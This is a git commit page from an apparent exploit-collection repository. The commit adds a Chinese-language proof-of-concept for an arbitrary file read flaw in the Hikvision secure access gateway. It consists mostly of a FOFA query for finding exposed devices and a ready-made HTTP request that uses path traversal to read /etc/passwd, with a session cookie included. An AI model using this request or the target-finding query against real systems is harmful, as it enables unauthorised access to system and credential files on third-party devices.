admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 海康威视安全接入网关任意文件读取漏洞.md

Browse Source
This commit is contained in:
wy876 2023-12-27 20:26:24 +08:00 committed by GitHub
parent e0ababbae6
commit d3ec0d6fbb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 22 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
海康威视安全接入网关任意文件读取漏洞.md Normal file
View File

@ -0,0 +1,22 @@
## 海康威视安全接入网关任意文件读取漏洞
海康威视安全接入网关存在任意文件读取漏洞，通过此漏洞攻击者可读取服务器上任意文件。
## fofa
```
body="webui/js/jquerylib/jquery-1.7.2.min.js" && product="ABT-应用网关" || body="webui/js/jquerylib/jquery-1.7.2.min.js" && product="HIKVISION-安全网关"
```
## poc
```
GET /webui/?file_name=../../../../../etc/passwd&g=sys_dia_data_down HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: USGSESSID=b75bce9897c9e543ab7be9ac44af4f76
Upgrade-Insecure-Requests: 1
```
![2fa214010159c2d5b7921f7baedc8a3d](https://github.com/wy876/POC/assets/139549762/075fbfb9-1dc8-45b5-935b-1eb09d82f449)